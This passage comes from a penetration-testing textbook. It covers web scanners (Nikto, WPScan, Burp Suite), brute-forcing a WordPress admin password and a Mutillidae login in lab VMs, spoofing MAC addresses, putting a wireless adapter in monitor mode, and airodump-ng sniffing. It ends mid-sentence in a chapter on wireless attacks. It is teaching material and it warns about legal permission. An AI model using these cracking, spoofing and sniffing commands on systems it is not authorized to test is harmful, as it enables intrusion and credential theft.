will use various web application scanners to assist us in detecting web vulnerabilities on a
target server.

Using web application scanners
Web application scanners focus primarily on detecting and identifying vulnerabilities on
web servers, websites, and web applications. In your career in cybersecurity, whether as a
penetration tester or a security practitioner, you may be tasked to perform some sort of
security auditing on a target website or web server.

However, as a penetration tester, we need to be able to discover security misconfigurations
and weaknesses on a target website and web server. An organization may contract you to
perform a penetration test on their website rather than on their network, or even both.
Remember the goal of having a penetration test done on an object such as a website is to
identify the vulnerabilities and remediate them as soon as possible before an actual hacker
is able to compromise the system and exfiltrate data.

There are many web application scanners available on the market, from commercial to free
and open source; here are some of them:

Acunetix vulnerability scanner (commercial)
w3af (free)
Nikto (free)
Burp Suite (commercial and free)
IBM AppScan (commercial)

In the remaining sections of this chapter, we will cover various exercises using Nikto,
WPScan, and Burp Suite to detect and identify security vulnerabilities on a target web
server.

Let's take a deep dive into learning about Nikto in the next section.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


Working with Vulnerability Scanners Chapter 7

[ 229 ]

Nikto
Nikto is a popular open source web vulnerability scanner and is preinstalled in Kali Linux.
This command-line tool is capable of identifying security flaws on a target website and
providing detailed referencing for each issue found. Nikto is not a stealth-oriented tool and
can be a bit noisy while performing its scan.

Some of its features are as follows:

Checking for any outdated components on a web server
Capable of identifying installed applications via headers and files on a target
SSL support
Performs subdomain guessing
Apache username enumeration

To get started with Nikto, we will perform a web vulnerability scan on our Metasploitable
VM. If you recall, in the previous chapter, we performed a port scan on Metasploitable and
saw that port 80 was open. By default, web servers open port 80 to allow inbound and
outbound communication between a client and the web server.

Open a new Terminal window using the nikto -h <target> syntax, where -h specifies a
host (hostname or IP address). We use the nikto -h 10.10.10.100 command:
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If you provide a hostname, Nikto will be able to perform an IP lookup via the Domain
Name System (DNS). During the initial phase, Nikto attempts to perform an operating
system and service version fingerprinting; our target is using Ubuntu as its operating
system and Apache 2.2.8 as the web server application.

Nikto can be found under the Applications | 02 – Vulnerability Analysis
tab in Kali Linux.

Each point on the output is an indication of an issue Nikto has detected, whether a
configuration is missing, access to a sensitive directory or file was found, or even an
application version is outdated. For each security issue found, an Open Source
Vulnerability Database (OSVDB) reference ID is associated with the issue. The OSVBD is
an independent and open source database that contains information about web application
security vulnerabilities. Once Nikto is able to identify a security flaw on a target, it provides
an associated OSVDB reference ID. Once the OSVDB ID has been obtained, you can head
over to http://cve. mitre. org/ data/ refs/ refmap/ source- OSVDB. html to reference the
OSVDB IDs with CVE entries.

Further information about Nikto can be found at https:/ /cirt. net/
Nikto2 and https:/ /github. com/sullo/ nikto.

Now you have the essential skills to use Nikto, let's take a look at using WPScan in the next
section.

WPScan
Creating a website for a company involves a lot of programming and work. There are many
Content Management Systems (CMSes) that allow you to create, manage, and publish a
website quite easily. Imagine having to statically code web languages for multiple pages of
a website or multiple websites; this would be a daunting task requiring good knowledge of
web languages. A CMS allows a web administrator to easily manage and update the
contents of a website seamlessly while being able to integrate additional third-party web
plugins, allowing more functionality to the users.
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There are many CMSes available; here are some of them:

WordPress
Joomla
Drupal
Plone

On the internet, one of the most popular CMSes currently being used is WordPress.
Whether you're a blogger, a freelancer, a start-up, or a large organization, many people are
using WordPress as their preferred choice for a CMS. WordPress is an open source CMS
that is based on MySQL and PHP. Since WordPress is very popular on the internet, we will
use the WPScan tool within Kali Linux to scan for web vulnerabilities on a WordPress web
server.

To begin, you'll need to install a WordPress server within your virtual lab environment. To
do this, follow these steps:

Go to https:/ /www. turnkeylinux. org/ wordpress and download the ISO image1.
or the VM file (using the virtual machine files is easier to set up the VM).
Once installed within your hypervisor, ensure the network configurations are2.
enabled for the same network as your Kali Linux machine.
Power on the WordPress VM. It will receive an IP address automatically from the3.
Dynamic Host Configuration Protocol (DHCP) service within the hypervisor.
Using your Kali Linux machine, perform a network and port scan to identify the4.
WordPress server IP address.
Enter the IP address into the Kali Linux web browser, and you should see the5.
WordPress default web page.
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Using the http://<ip address>/wp-login.php URL will display the6.
administrator login page as shown in the following screenshot:

This is the default login page for WordPress servers.

Optionally, the WPScan tool can be found under the Applications | 03 –
Web Application Analysis | CMS & Framework Identification tab
within the Kali Linux menu.

On your Kali Linux machine, we are going to perform a vulnerability scan on the
WordPress web server by using the wpscan --url <target IP or hostname>
command:
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WPScan will provide the server platform; in our case, it's Apache.

Next, it will attempt to discover and list all the known vulnerabilities found and provide
fixes and references for each as shown in the following screenshot:
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WPScan is not only a vulnerability scanner for WordPress but has also the ability to
perform user account enumeration. Let's attempt to extract the user accounts on our
WordPress server; use the wpscan --url 10.10.10.100 -e u vp command to perform
user enumeration:

As you saw in our results, the admin user was discovered. Next, we can attempt to perform
password cracking on the admin account using the brute force technique.

To create a custom wordlist for password cracking, you can use the
crunch tool with Kali Linux. Additionally, you can download a wordlist
from the internet. A good source is https:/ /github. com/
danielmiessler/ SecLists.

To perform password cracking using WPScan with an offline wordlist (ours is called
custom_list.txt), we use the wpscan --url 10.10.10.100 -e u --passwords
custom_list.txt command.

In the following snippet, we were able to crack the password for the user account:
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As a penetration tester has obtained the username and password, the account is
compromised. We can now log in to the control panel of the WordPress server to perform
various malicious actions.

Password cracking can be a very time-consuming process and can take a
few minutes or a few hours to complete.

Having completed this section, you have acquired the skills to perform a vulnerability
assessment on a WordPress server using WPScan. In the next section, we will learn about
another web vulnerability assessment tool, Burp Suite.

Burp Suite
Burp Suite (https:/ /portswigger. net/ burp) is a graphical user interface (GUI) web 
application vulnerability scanner that has the capability to identify over 100 generic
vulnerabilities, such as all the vulnerabilities found in the OWASP top 10 list of critical web
application security risks.

The OWASP top 10 list can be found at https:/ /www. owasp. org/ index.
php/Category:OWASP_ Top_ Ten_ 2017_ Project.

Burp Suite applications allow a penetration tester to intercept all HTTP and HTTPS
requests and responses between the web server (web application) and the browser, via its
HTTP proxy component. By intercepting web traffic, Burp Suite can test various types of
vulnerabilities and attacks such as fuzzing, brute force password attacks, decoding,
obtaining hidden URLs via spidering, and a lot more.

Before getting started with Burp Suite, ensure your OWASP Broken Web Applications
(BWA) virtual machine (victim machine) is online and has received an IP address.
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Once the OWASP BWA VM is online, you should be presented with the following screen;
however, your IP address details may be different from what is shown:

On your Kali Linux machine, ensure there is end-to-end connectivity by pinging the
OWASP BWA virtual machine. Once you've verified connectivity, it's time to open the Burp
Suite application.

To complete this task, use the following instructions:

Go to Applications | 03 – Web Application Analysis | Web Application Proxies1.
| Burp Suite.
Now the application is open, the wizard will ask whether you would like to2.
create a Temporary project, a New project on disk, or Open existing project.
Select Temporary project and click Next:3.
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The next window will ask whether Burp Suite should use the default setting or4.
load configurations from a file. Select the Use Burp defaults option, and click
Start Burp to launch the user dashboard:

Traffic sent between your web browser and the target web server is not monitored or
intercepted by Burp Suite. Burp Suite contains an HTTP proxy that allows the application
to intercept HTTP traffic between a web browser and a target web server. The web browser
does not directly interact with the web server; traffic is sent from the web browser to the
Burp Suite HTTP proxy, then the HTTP proxy forwards the traffic to the target web server
and vice versa. The following is a diagram showing the flow of traffic between a web
browser and a web server:
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Burp Suite works as an intercepting proxy application. By default, Burp Suite is not able to
intercept any traffic between our Kali Linux machine and the OWASP BWA virtual
machine. To configure our web browser to work with Burp Suite, use the following
instructions:

Open Firefox and click on the menu icon | Preferences (Options).1.
On the default tab, scroll down until you see the Network Proxy settings (2.
Network Settings) and click on Settings.
Select Manual proxy configurations and use the configurations displayed in the3.
next screenshot:
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Ensure the No proxy for field is blank.

Click on OK to save your settings in Firefox.4.

Now that we've configured our web browser to work with the Burp Suite HTTP proxy
service, let's head back over to the Burp Suite application to allow the interception of traffic.
To do so, follow these steps:

Click on Proxy| Intercept, and click on the Intercept is on icon to toggle1.
enable/disable:

Ensure your configurations are set properly or the exercise won't work as it's
intended to.

If the Intercept icon says on, Burp Suite is able to intercept traffic between
the web browser and the web server. Additionally, be sure to forward
requests; otherwise, they will stay within the interceptor and not be
forwarded, and eventually the request will time out.
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Next, enter the IP address of the OWASP BWA virtual machine within the2.
address bar in Firefox on your Kali Linux machine. The default web page should
load perfectly. On Burp Suite, click on Target | Site Map to see the HTTP
requests and responses:

On the web browser, enter the URL (or IP address) of the OWASP BWA virtual3.
machine. The HTTP requests and responses will appear on the Target | Site Map
tab on Burp Suite.

Now that we've outlined how to intercept web traffic using Burp Suite, let's go a step
further to perform an offensive attack on our Metasploitable machine. In the next section,
we will use Burp Suite to perform a brute force attack.
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Using Intruder for brute force
The Intruder component/module within Burp Suite allows a penetration tester to perform
online password attacks using the brute force method. Let's attempt to obtain the password
to log in to the http://<target ip addr>/mutillidae URL:

Using the Firefox web browser click on Mutillidae II. On Burp Suite, you should1.
see the mutillidae folder appearing under the left pane of the Site map tab.
Next, right-click on the mutillidae folder, and select Add to scope as shown in2.
the following screenshot:
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The following Proxy history logging window will appear; simply click on Yes:3.

To verify our scope has been added successfully, go to the Target | Scope tab:4.
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Now your scope has been added, head back to your web browser. At the top of5.
the Mutillidae web page, you'll see a link that allows a user to perform login
attempts. Use admin for the username and password for the password. The
login attempt should fail; however, we need Burp Suite to capture specific details
about the login field on the web page.

Let's head back to Burp Suite to continue our exercise.

On Burp Suite, click on the Proxy | HTTP history tab and select the HTTP POST6.
message, which has the login attempt from our browser (your # message may be
different from what is shown in the following snippet). Once selected, right-click
and choose Send to Intruder:
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Next, click on the Intruder | Target tab to see the target IP address that has been7.
set:

Within the Intruder tab, there are a few sub-tabs, including the following:

Target: Allows you to set a specific target and port number.
Positions: Allows you to select where a payload will be inserted
into the HTTP request.
Payloads: Provides the ability to configure the type of payload.
Options: Additional options can be set on this tab.

Select the Positions tab and click on the Clear button to clear all selections. By8.
default, Burp Suite has selected certain areas of the HTTP request message to
insert its payload. However, for our exercise, the payload is to be inserted in the
password field.
Highlight the word password and click on Add. This will allow Burp Suite to9.
insert its payload on the selected field:
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The red text is the data sent from the browser to the web server. As you can see,
the word password is the value we used during our login attempt.

Click on the Payloads tab. Enter admin in the text field and click Add; this will be10.
our custom payload:
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Ensure everything else is left as default in the remaining portions of the Payloads
and Options tabs.

When you're ready to launch the payload, click on Start attack:11.

When the attack has been completed, Intruder will open a new window to
provide a summary. On the Results tab, notice we have an HTTP request
message with a 302 status code; this means an HTTP redirect took place. In other
words, Intruder was able to successfully log in to Mutillidae. The details can be
seen in the following screenshot with username and password:
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Selecting the HTTP request message with the 302 status code, you see the
username and password that were sent from the web browser on the Request
tab.

To view the response from the web server, click on the Response | Render tab.12.
Here you will be able to see how the web application responded to the payload:

Looking closely, you'll see the admin user account was successfully logged in.
Please note that the user account shown in the preceding screenshot is the default
administration account for the intentionally vulnerable Metasploitable virtual
machine. Furthermore, do not try any sort of attack on devices or networks where
you have not acquired legal permission to do so. This exercise was conducted in a
lab environment.

The Burp Suite Cookbook by Sunny Wear contains a lot of recipes to
perform web-based assessments. This title can be found at https:/ /www.
packtpub. com/ networking- and- servers/ burp- suite- cookbook.

As you saw, Burp Suite is a very powerful application for web penetration testing and
vulnerability assessments. This tool should definitely be part of your go-to list of tools
whenever you're tasked with performing security auditing on a web server and website.
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Summary
During the course of this chapter, we discussed the need to discover security weaknesses
on a system and even a web server. We took a look at performing vulnerability scanning,
customizing policies, and reporting using Nessus. Additionally, we learned about Nikto, an
open source web vulnerability scanner, and using WPScan to detect security
misconfigurations and flaws in WordPress. Lastly, we closed the chapter by covering the
fundamentals of using the Burp Suite applications and performing a brute force attempt to
gain entry into a website.

Upon completing this chapter, you now have the ability to successfully perform a
vulnerability assessment on a target network and system using Nessus, and to perform
website penetration testing using Burp Suite, Nikto, and WPScan.

I do hope this chapter has been informative and will help on your journey in the field of
cybersecurity. In the next chapter, we will explore the basic concepts of wireless penetration
testing.

Questions
The following are some questions based on the topics we have covered in this chapter:

After installing Nessus in Kali Linux, what command is used to enable the1.
Nessus service?
Many financial institutions provide their customers with card payment2.
functionality. To ensure the institution is compliant with industry standards,
what framework should be used?
What types of reports can be exported from Nessus?3.
Can you name two or three web vulnerability scanners that are preinstalled in4.
Kali Linux?
What tool can be used to scan WordPress websites for security vulnerabilities?5.

Further reading
For more information on Nessus, please visit https:/ /www. tenable. com/
products/ nessus/ nessus- p.rofessional.
Further information on PCI DSS can be found on the Security Standards Council
website at https:/ / www. pcisecuritystandards. org/ .
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8
Understanding Network

Penetration Testing
During the preparation phase of a network penetration test, it's essential to understand the
objective of security testing on the target's systems and/or network infrastructure. Prior to
launching any sort of attack simulation, it's important to be an anonymous user (or pretend
to be a legitimate user) on the network by spoofing the MAC address of your device and
configuring your wireless network adapter to monitor and capture wireless traffic on an
IEEE 802.11 wireless network.

Network penetration testing focuses on gaining entry to a network and performing security
auditing (penetration testing) on network security appliances, devices, and systems within
the internal network of a target organization. In this chapter, you will learn about the
various modes that can be configured on a wireless adapter in Kali Linux, how to spoof
your MAC address, and how to capture packets on a wireless network.

In this chapter, we will cover the following topics:

Introduction to network penetration testing
Understanding the MAC address
Connecting a wireless adapter to Kali Linux
Managing and monitoring wireless modes

Technical requirements
The following are the technical requirements for this chapter:

Kali Linux (https:/ / www. kali. org/ )
VMware Workstation or Oracle VM VirtualBox
A wireless network interface card (NIC) that supports packet injection
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Not all wireless cards support monitor mode and packet injection. However, a minor
revision in a chipset can cause the card to not work in monitor mode, and some cards may
need the drivers to be compiled and may not work out of the box.

The following is a list of supported external wireless NICs for Kali Linux:

Atheros: ATH9KHTC (AR9271, AR7010)
Ralink: RT3070
Realtek: RTL8192CU
TP-Link TL-WN722N
TP-Link TL-WN822N v1 - v3
Alfa Networks AWUS036NEH
Alfa Networks AWUS036NHA
Alfa Networks AWUSO36NH

I would personally recommend using the Alfa Networks AWUS036NHA card.

Introduction to network penetration testing
The objective of network penetration testing is to discover any security vulnerabilities on a
target's network infrastructure. This type of penetration test can be done either from
outside the organization (external testing) or from the inside (internal testing). As a
penetration tester, I would definitely recommend performing both internal and external
security testing on the target's network.

The following are some objectives of network penetration testing:

Bypassing the perimeter firewall
Evading Intrusion Detection System / Prevention System (IDS/IPS)
Testing for routing and switching misconfiguration
Detecting unnecessarily open network ports and services
Finding sensitive directories and information

Performing network penetration testing helps IT professionals close unnecessary network
ports, disable services, troubleshoot issues, and configure security appliances in a better
way to mitigate threats.
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During an external network penetration test, the penetration tester attempts to access the
target organization's network across the internet by breaching the firewall and any IDS/IPS.
However, an internal network penetration test involves security testing from inside the
organization's network, which is already behind the perimeter firewall appliance.

The following are the six steps that need to be followed in the network penetration testing
process:

Information gathering1.
Port scanning2.
OS and service fingerprinting3.
Vulnerability research4.
Exploit verification5.
Reporting6.

In the following section, we will briefly cover the different approaches to penetration
testing.

Types of penetration test
The following are three types of security testing that are usually done by penetration
testers:

White box: White-box testing involves having complete knowledge – including
network diagrams, IP addressing schemes, and other information – about the
network and systems prior to the network penetration test. This type of test is
much easier than gray-box and black-box testing since the penetration tester does
not need to perform any sort of information gathering on the target network and
systems.
Gray box: In gray-box testing, the penetration tester is given limited knowledge
about the organization's network infrastructure and systems prior to the network
penetration test.
Black box: In black-box testing, the penetration tester is given no prior
knowledge about the target organization or its network and system information.
The information that's provided about the target is usually just the organization's
name.

Now that we have completed this introductory section to network penetration testing, let's
dive into the essentials of understanding the MAC address.

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Understanding Network Penetration Testing Chapter 8

[ 252 ]

Understanding the MAC address
Within the field of networking, there are two models that network professionals often refer
to during their troubleshooting. These models are known as the Open Systems
Interconnection (OSI) reference model and the Transmission Control Protocol/Internet
Protocol (TCP/IP) stack.

The following table outlines the layers of each model and displays the OSI model, Protocol
Data Units (PDUs), and the TCP/IP protocol suite:

Often, the terms packets and frames will be used interchangeably, but there is a difference
between them. Let's focus a bit more on the characteristics of a frame and its composition.

In this section, we are going to focus on the data link layer (layer 2) of the OSI model. The
data link layer is responsible for moving data between the software applications on devices
to the physical layer of a network. This is done by the NIC. Additionally, before the data is
placed on the physical layer, the data layer inserts the physical address of the NIC, that is,
the media access control (MAC) address, into the frame. This address is sometimes
referred to as the burned-in address (BIA).

The MAC address of a device is 48 bits in length and is written in hexadecimal format;
therefore, each character ranges between 0-9 and A-F. The first 24 bits are known as the
organizationally unique identifier (OUI) and are assigned by the Institute of Electrical
and Electronics Engineers (IEEE) to vendors and manufacturers. By having knowledge of
the first 24 bits of any valid MAC address, you can determine the vendor/manufacturer of
the NIC and/or device. The last 24 bits are unique and assigned by the vendor, thereby
creating a unique MAC address for each device.
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The following is a breakdown of a MAC address:

To view the MAC address on Windows, use the ipconfig /all command:

However, on a Linux-based OS, you need to use the ifconfig command:

We now have a better idea of the purpose of the MAC address on a device and network.
Now, let's take a deep dive into learning how to change (spoof) our MAC address in Kali
Linux.
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How to spoof the MAC address
Spoofing is a form of impersonation on a network; it conceals your identity as a
penetration tester. All the traffic leaving your Kali Linux machine will contain the source's
newly configured MAC address.

In this exercise, we are going to change the MAC address of the LAN interface on our Kali
Linux machine. Follow these simple steps to do so:

Turn off the network interface using the following command:1.

ifconfig eth0 down

Once the interface is down, we can use the macchanger tool to modify our MAC2.
address on the interface. The macchanger tool allows you to customize your
new (spoofed) address. To see all the available options, use the macchanger --
help command.
To change the MAC address on our Ethernet (network) interface, we will use the3.
macchanger --random eth0 command, as shown in the following screenshot:

Once the MAC address has been changed successfully, it's time to turn on the4.
Ethernet interface by using the following command:

ifconfig eth0 up

Finally, we can now use the ifconfig command to verify whether the new5.
MAC address is registered on the interface, as shown in the following screenshot:
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Having completed this exercise, you are now capable of spoofing the MAC address on each
network interface in Kali Linux. In the next section, we will learn about connecting a
wireless adapter to a Kali Linux machine.

Connecting a wireless adapter to Kali Linux
During a wireless network penetration test, you will be required to attach an external
wireless NIC to your Kali Linux machine. If you have Kali Linux installed directly on a disk
drive, attaching a wireless NIC is as simple as connecting it via USB. The adapter will
automatically be present within the network settings.

However, things can get a bit tricky when using virtual machines. In this section, I will
demonstrate how to attach a wireless network adapter to both VMware Workstation and
Oracle VM VirtualBox.

If you're using VMware Workstation, follow these steps:

First, select the Kali Linux virtual machine and click on Edit virtual machine1.
settings:

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Understanding Network Penetration Testing Chapter 8

[ 256 ]

Then, the virtual machine settings will open, providing you with a number of2.
options to add, remove, and modify the emulated hardware resources. Select the
USB Controller; the options will appear to the right of the window. Select the
appropriate USB version based on the physical USB controllers on your 
computer and ensure there is a tick in the checkbox for Show all USB input
devices:

Now that you're finished, click on OK to save the settings. Power on the Kali3.
Linux virtual machine and plug your wireless adapter into an available USB port
on your computer.

In the bottom-right corner of VMware Workstation, you'll see some icons. These
icons represent a physical hardware component or device. The faded icons
indicate that the hardware or device is not connected to the virtual machine,
while the brightly colored icons indicate that the component or device is
connected.

Click on the USB icon highlighted in the following screenshot. A menu will4.
appear, providing the option to attach a USB device from your host machine to
the virtual machine. Select the wireless adapter:
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Once the USB wireless adapter has been successfully attached, the icon should be5.
bright. Now, it's time to verify whether Kali Linux is able to see the wireless
adapter. Open a Terminal and execute the ifconfig command:

All wireless adapters are represented as wlan, followed by a number. Our wireless adapter
is wlan0.

For those who are using Oracle VM VirtualBox, the process is a bit similar to what was
mentioned previously for VMware. Use the following steps to complete this exercise of
connecting a wireless adapter to Kali Linux through the hypervisor:

To get started, select the Kali Linux virtual machine within the dashboard and1.
click on Settings:
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Once the settings menu has opened, select the USB category on the left column.2.
Ensure the wireless adapter is plugged into a USB port on your computer and,
similar to what we did for VMware Workstation, select the USB 2.0 (EHCI)
Controller version.
Next, click the USB icon with the + symbol next to it to attach a USB device to the3.
virtual machine. Select the USB wireless adapter:

The wireless adapter will be inserted into the USB Device Filters field, as shown
in the following screenshot:
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Click on OK to save the settings of the virtual machine. Power on the Kali Linux4.
virtual machine and use the ifconfig command to verify the status of the
wireless adapter.

Completing this section has provided you with the necessary skills to successfully connect a
wireless adapter to a Kali Linux virtual machine. In the next section, we will take a look at
how to manage and monitor wireless modes in Kali Linux.

Managing and monitoring wireless modes
The Linux OS allows users to manually configure the mode of operation for wireless
adapters.

The following are the different modes and explanations of what they entail:

Ad hoc mode is used to interconnect multiple end devices, such as laptops,
without the use of a wireless router or access point.
The default mode of operation is managed. This mode allows the device (that is,
the host) to connect to wireless routers and access points. However, at times, you
may be required to perform a wireless penetration test on an organization's Wi-Fi
network. A wireless adapter in managed mode is not suitable for such a task.
Master mode allows the Linux device to operate as an access point to allow other
devices to synchronize data.
Repeater mode allows the node device to forward packets to other nodes on the
network; repeaters are usually implemented to extend the range of a wireless
signal.
Secondary mode allows the device to function as a backup for the master or
repeater.
Monitor mode allows a device to pass monitor packets and frames on the
frequencies of IEEE 802.11. This mode would allow a penetration tester to not
only monitor traffic but also capture data and perform packet injection using a
compatible wireless adapter.

The mode of operation depends on the network topology and the role of
your Linux OS in your network.

There are two methods we can use to configure the wireless adapter in monitor mode:
manually and by using the airmon-ng tool.
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In the following section, we will take a look at doing the following:

Enabling monitor mode manually
Enabling monitor mode using airmon-ng

Let's look at each of these methods in more detail.

Enabling monitor mode manually
In this section, I'll guide you through the steps you need to take to manually enable monitor
mode on the wireless NIC of your Kali Linux machine.

The following instructions will guide you through the process of enabling monitor mode
manually on your Kali Linux machine.

To get started, open a new Terminal window and execute the following commands:

Execute the ifconfig command to determine whether the wireless adapter is1.
connected and recognized by the Kali Linux OS. Additionally, take note of the
interface ID. In the following screenshot, the interface is wlan0:
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Now that we have the interface ID, use ifconfig wlan0 down to logically turn2.
down the interface via the OS. This is necessary prior to changing the mode of
any interface.
Now that the interface is down, it's time to configure our wlan0 interface for3.
monitor mode. The iwconfig wlan0 mode monitor command will enable
monitor mode. Once completed, we need to verify that the mode has been
changed successfully on the interface. Execute the iwconfig command. You
should see that the mode has changed to Monitor, as shown in the following
screenshot:

Lastly, we need to turn up our wlan0 interface by using the ifconfig wlan04.
up command.

Having completed this exercise, you have attained the required skills to enable monitor
mode in Kali Linux. In the next section, we will take a look at using airmon-ng to configure
the wireless adapter.

Enabling monitor mode using airmon-ng
airmon-ng is part of the aircrack-ng suite of wireless security auditing tools. airmon-ng is a
tool that's used to configure a wireless adapter into (and out of) monitor mode.
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Let's see how we can enable and disable monitor mode:

To get started, open a new Terminal window and execute either the ifconfig or1.
iwconfig command to verify the wireless adapter status and ID:

Before enabling monitor mode, we need to kill any background processes that2.
may prevent the adapter from being converted into monitor mode. By using the
airmon-ng check kill command, the tool will check for any processes that
may prevent the adapter from converting into monitor mode and kill them:

Next, execute airmon-ng start wlan0 to enable monitor mode. Additionally,3.
a new logical interface will be created, as shown in the following screenshot:

The wlan0mon interface will be used to monitor IEEE 802.11 networks. To disable4.
monitor mode, simply use the airmon-ng stop wlan0mon command.
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By completing this exercise, you can now enable monitoring on a wireless adapter using
both the manual method and the airmon-ng tool.

Summary
In this chapter, we discussed the fundamentals and concepts of network penetration testing
and its importance. We covered hands-on information about connecting a wireless adapter
to our Kali Linux machine, discussed the purpose of a MAC address and its composition,
and talked about how to spoof our identity by modifying it. Furthermore, we took a look at
changing the default mode of our wireless adapter to monitor mode, via both manual
configuration and using the airmon-ng tool.

Now that you have completed this chapter, you know how to properly enable monitor
mode using both the airmon-ng tool and manually through the Kali Linux OS.
Additionally, you are now able to perform monitoring on wireless networks.

I hope this chapter has been informative and is able to assist and guide you through your
journey in the field of cybersecurity. In the next chapter, Chapter 9, Network Penetration
Testing - Pre-Connection Attacks, we will take a deeper look into network penetration testing
with some hands-on exercises.

Questions
The following are some questions based on the topics we have covered in this chapter:

What tool can be used to change the MAC address in Kali Linux?1.
Can you name the different modes in which a wireless adapter can be configured2.
to operate?
How do you view the MAC address of a network interface?3.
How do you kill any background processes that may prevent the adapter from4.
converting into monitor mode?
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Further reading
Further details on the OSI model and the TCP/IP stack can be found in the
CompTIA Network+ Certification Guide at https:/ /www. packtpub. com/
networking- and- servers/ comptia- network- certification- guide.
For additional information on aircrack-ng and airmon-ng, please see https:/ /
www.aircrack- ng. org/ documentation. html.
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9
Network Penetration Testing -

Pre-Connection Attacks
Many organizations have a wireless network. Imagine gaining access to a corporate
wireless network and then using the wireless as a medium or channel to break into the
wired network and compromise other systems and devices. It is essential to understand
wireless penetration testing in order to be able to identify loopholes that would allow such
security breaches. These skills will help you as a penetration tester, as you will be required
to perform wireless security testing on target networks.

In this chapter, we will take a deep dive into wireless hacking tools such as aircrack-ng.
Furthermore, we will cover the essentials of understanding how various wireless attacks
work. These attacks include deauthenticating users who are associated with a wireless
access point, creating a fake access point, and performing password cracking.

During the course of this chapter, we will cover the following topics:

Getting started with packet sniffing using airodump-ng
Targeted packet sniffing using airodump-ng
Deauthenticating clients on a wireless network
Creating a rogue AP/evil twin
Performing a password spraying attack
Setting up watering hole attacks
Weak encryption exploitation for credential stealing
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Technical requirements
The following are the technical requirements for this chapter:

Kali Linux: https:/ /www. kali. org/

Airgeddon: https:/ / github. com/v1s1t0r1sh3r3/ airgeddon

WordPress server: https:/ /www.turnkeylinux. org/ wordpress

Bee-Box: https:/ / sourceforge. net/ projects/ bwapp/ files/ bee- box/ 

Getting started with packet sniffing using
airodump-ng
To get started with packet sniffing, we are going to use the airodump-ng tool. airodump-
ng has many functionalities, including performing the raw capture of IEEE 802.11 frames.
Additionally, using this tool, we'll be able to view wireless APs, associated and
unassociated client devices (stations), encryption types, SSID, the manufacturer of the APs,
and so on.

In Chapter 8, Understanding Network Penetration Testing, we outlined the procedures
involved in connecting a wireless network adapter to your Kali Linux machine and in
enabling monitor mode. For this exercise, you'll need to repeat the process once more.

To enable monitor mode, perform the following steps:

Connect the wireless adapter to Kali Linux. Use the ifconfig command to1.
verify the status of the adapter.
Terminate any process that may hamper the enabling of monitor mode by using2.
the airmon-ng check kill command.
Enable monitor mode on your wireless adapter using the airmon-ng start3.
wlan0 command.

Technet24
||||||||||||||||||||

||||||||||||||||||||

https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://www.kali.org/
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://github.com/v1s1t0r1sh3r3/airgeddon
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://www.turnkeylinux.org/wordpress
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://sourceforge.net/projects/bwapp/files/bee-box/
https://technet24.ir
https://technet24.ir
https://technet24.ir


Network Penetration Testing - Pre-Connection Attacks Chapter 9

[ 267 ]

Now that your wireless adapter is in monitor mode, let's use the airodump-ng tool to view
a list of all nearby APs and stations. To perform this action, use the following command:

airodump-ng wlan0mon

Your Terminal window will now begin to display all of the nearby APs, displaying the
following information:

BSSID: This is the MAC address of the AP or wireless router.
PWR: This is the power rating. The lower the power rating, the further away the
AP is from the wireless adapter.
Beacons: The beacons are the advertisements sent from an AP. Beacons usually
contain information about the AP, such as the network name and operation.
#Data: This is the amount of captured data packets per network.
#/s: This field indicates the number of packets per second over a 10-second
period.
CH: This is the operating channel for the AP.
MB: This field outlines the maximum speed that is supported by the AP.
ENC: This determines the encryption cipher being used on the wireless network.
AUTH: This determines the type of authentication protocol on the wireless
network.
ESSID: The Extended Service Set Identifier (ESSID) and the name of the
network SSID are the same.
STATION: This displays the MAC addresses of both associated and unassociated
devices.
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Upon executing the command, your wireless adapter will perform live scanning and
monitoring of all wireless networks and devices nearby. You should receive a screenshot
similar to the following:

Based on your geographic location, the listed devices and networks will
always vary.

Viewing network traffic in real time can be overwhelming, especially in our situation where
we can see all nearby devices. The airodump-ng tool allows us to use the --bssid
parameter to filter the output for a specific AP. Additionally, using the -c parameter allows
us to specify a channel the AP is operating on. Use the following syntax:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon
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You'll get a similar output to the following, where the specific details about your target
wireless network will be shown:

Now that you are able to perform packet sniffing, let's attempt to direct our attack to a
specific target in the next section.

Targeted packet sniffing using airodump-ng
In this section, we are going to learn about additional features in airodump-ng. Most
importantly, we will use airodump-ng to target a specific network; this will allow us to
focus our attack on a specific target and not cause any harm to other nearby wireless
networks.

Even though you're filtering your view, the traffic (packets) are not being saved offline for
